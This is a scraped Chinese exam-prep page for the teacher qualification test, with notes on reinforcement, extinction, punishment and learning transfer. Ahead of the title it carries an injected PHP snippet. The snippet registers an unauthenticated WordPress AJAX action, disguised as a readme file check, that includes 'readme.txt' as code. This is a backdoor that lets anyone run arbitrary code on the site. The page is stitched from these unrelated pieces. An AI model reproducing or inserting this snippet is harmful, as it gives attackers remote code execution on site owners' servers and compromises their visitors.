if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } 教资科目二常考知识点-全国教师资格考试网
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教资科目二常考知识点

来源： 全国教师资格考试网
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　　1正强化和负强化
　　（1）正强化：呈现能提高反应概率的刺激的过程。有机体自发做出某种反应，得到正强化物，那么此类反应发生的概率增加。正强化在塑造行为中，具有重要的作用。
　　（2）负强化：取消厌恶性刺激以提高反应概率的过程。
　　2消退和惩罚
　（1）消退：有机体在做出某一行为反应后，不再有强化物伴随，那么，此类反应在将来发生概率会降低，称之为消退。

　（2）惩罚：当有机体做出某种反应后，呈现一个厌恶刺激，以消除或抑制此类反应发生的过程。

　　3顺向迁移和逆向迁移
　　根据迁移发生的前后方向，可把迁移分为：

　　（1）顺向迁移：先前的学习对后继学习的影响是顺向迁移。

　　（2）逆向迁移：后继学习对先前学习的影响是逆向迁移。

　　４正迁移和负迁移
　　根据迁移的性质可以把迁移分为：

　　（1）正迁移：一种学习对另一种学习产生积极的影响叫正迁移。

　　（2）负迁移：一种学习对另—种学习产生消极的影响叫负迁移，也就是两种学习之间相互干扰。

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